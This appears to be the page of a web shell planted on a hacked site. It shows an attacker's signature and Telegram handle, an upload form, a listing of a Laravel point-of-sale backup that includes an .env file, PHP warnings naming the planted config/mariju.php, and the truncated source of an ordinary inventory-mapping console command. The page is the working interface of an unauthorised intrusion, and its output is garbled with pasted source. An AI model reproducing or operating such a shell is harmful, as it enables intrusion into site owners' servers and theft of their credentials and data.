telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log15284360 KBJuly 18 2025 16:59:410644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
transactionUtil = $transactionUtil; $this->businessUtil = $businessUtil; } /** * Execute the console command. * * @return mixed */ public function handle() { try { ini_set('max_execution_time', 0); ini_set('memory_limit', '512M'); DB::beginTransaction(); // Refresh database: // ================== // 1. Set variation_location_details as 0. // 2. set variation_location_details as per purchases. // 3. Reset mapping table. // 4. map the purchase to sales. //STEP1 //DB::statement('Update variation_location_details set qty_available = 0'); //Step 2 // $qty_sums = DB::select('Select SUM(pl.quantity) as qty, pl.product_id, pl.variation_id, transactions.location_id from purchase_lines as pl join transactions on pl.transaction_id = transactions.id group by transactions.location_id, pl.product_id, pl.variation_id'); // foreach ($qty_sums as $key => $value) { // DB::statement('update variation_location_details set qty_available = qty_available + ? where variation_id = ? and product_id = ? and location_id = ?', [$value->qty, $value->variation_id, $value->product_id, $value->location_id]); // } //Step 3: Delete existing mapping and sold quantity. DB::table('transaction_sell_lines_purchase_lines')->delete(); PurchaseLine::whereNotNull('created_at') ->update(['quantity_sold' => 0]); //Get all business $businesses = Business::all(); foreach ($businesses as $business) { //Get all transactions $transactions = Transaction::where('business_id', $business->id) ->with('sell_lines') ->where('type', 'sell') ->where('status', 'final') ->orderBy('created_at', 'asc') ->get(); $pos_settings = empty($business->pos_settings) ? $this->businessUtil->defaultPosSettings() : json_decode($business->pos_settings, true); $pos_settings['allow_overselling'] = 1; //Iterate through all transaction and add mapping. First go throught sell_lines having lot number. foreach ($transactions as $transaction) { $business_formatted = ['id' => $business->id, 'accounting_method' => $business->accounting_method, 'location_id' => $transaction->location_id, 'pos_settings' => $pos_settings, ]; foreach ($transaction->sell_lines as $line) { if (! empty($line->lot_no_line_id)) { $this->transactionUtil->mapPurchaseSell($business_formatted, [$line], 'purchase', false); } } } //Then through sell_lines not having lot number foreach ($transactions as $transaction) { $business_formatted = ['id' => $business->id, 'accounting_method' => $business->accounting_method, 'location_id' => $transaction->location_id, 'pos_settings' => $pos_settings, ]; foreach ($transaction->sell_lines as $line) { if (empty($line->lot_no_line_id)) { $this->transactionUtil->mapPurchaseSell($business_formatted, [$line], 'purchase', false); } } } } DB::commit(); } catch (\Exception $e) { DB::rollBack(); \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); exit($e->getMessage()); } } }